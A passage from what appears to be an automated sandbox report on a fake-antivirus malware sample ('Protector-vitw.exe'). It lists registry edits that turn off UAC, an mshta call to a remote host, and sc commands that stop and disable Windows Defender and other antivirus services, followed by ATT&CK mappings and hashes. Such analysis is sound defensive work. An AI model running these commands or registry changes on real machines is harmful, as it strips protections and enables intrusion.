to memory of 2184 2240 Protector-vitw.exe 40 PID 2240 wrote to memory of 1816 2240 Protector-vitw.exe 42 PID 2240 wrote to memory of 1816 2240 Protector-vitw.exe 42 PID 2240 wrote to memory of 1816 2240 Protector-vitw.exe 42 PID 2240 wrote to memory of 1816 2240 Protector-vitw.exe 42 PID 2240 wrote to memory of 1940 2240 Protector-vitw.exe 43 PID 2240 wrote to memory of 1940 2240 Protector-vitw.exe 43 PID 2240 wrote to memory of 1940 2240 Protector-vitw.exe 43 PID 2240 wrote to memory of 1940 2240 Protector-vitw.exe 43 PID 2240 wrote to memory of 1320 2240 Protector-vitw.exe 45 PID 2240 wrote to memory of 1320 2240 Protector-vitw.exe 45 PID 2240 wrote to memory of 1320 2240 Protector-vitw.exe 45 PID 2240 wrote to memory of 1320 2240 Protector-vitw.exe 45 PID 2240 wrote to memory of 1932 2240 Protector-vitw.exe 47 PID 2240 wrote to memory of 1932 2240 Protector-vitw.exe 47 PID 2240 wrote to memory of 1932 2240 Protector-vitw.exe 47 PID 2240 wrote to memory of 1932 2240 Protector-vitw.exe 47 -
System policy modification 1 TTPs 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System Protector-vitw.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" Protector-vitw.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" Protector-vitw.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0" Protector-vitw.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\6585f4bb6affc9cbafd941e260322759_JaffaCakes118.exe"1⤵
- Loads dropped DLL
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2720 -
C:\Users\Admin\AppData\Roaming\Protector-vitw.exeC:\Users\Admin\AppData\Roaming\Protector-vitw.exe2⤵
- UAC bypass
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Drops file in System32 directory
- Modifies Internet Explorer settings
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2240 -
C:\Windows\SysWOW64\mshta.exemshta.exe "http://galaint.onlinesecstats.info/?0=127&1=0&2=1&3=60&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=pnsotxnksp&14=1"3⤵
- Modifies Internet Explorer settings
PID:2588
-
-
C:\Windows\SysWOW64\sc.exesc stop WinDefend3⤵
- Launches sc.exe
PID:2192
-
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
PID:800
-
-
C:\Windows\SysWOW64\sc.exesc stop msmpsvc3⤵
- Launches sc.exe
PID:2160
-
-
C:\Windows\SysWOW64\sc.exesc config msmpsvc start= disabled3⤵
- Launches sc.exe
PID:2184
-
-
C:\Windows\SysWOW64\sc.exesc config ekrn start= disabled3⤵
- Launches sc.exe
PID:1816
-
-
C:\Windows\SysWOW64\sc.exesc stop AntiVirService3⤵
- Launches sc.exe
PID:1940
-
-
C:\Windows\SysWOW64\sc.exesc config AntiVirService start= disabled3⤵
- Launches sc.exe
PID:1320
-
-
C:\Windows\SysWOW64\sc.exesc config AntiVirSchedulerService start= disabled3⤵
- Launches sc.exe
PID:1932
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\6585F4~1.EXE" >> NUL2⤵PID:2596
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Image File Execution Options Injection
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Image File Execution Options Injection
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.8MB
MD56585f4bb6affc9cbafd941e260322759
SHA1039773d81b787cd56eaf831503330f21299d1f6f
SHA256b21adf64f103e94fb0150da6efe567af547c7ca48a1c09aaa99bad7f8d33fbad
SHA5123a096ba666bc2b15d86881c2ee877b4843f734062c5534ad660db662b2b453d08744daeb7e3e7f982e2f52dbc9a87e118ffa3d16be8b1b0a0c14fb317031f11d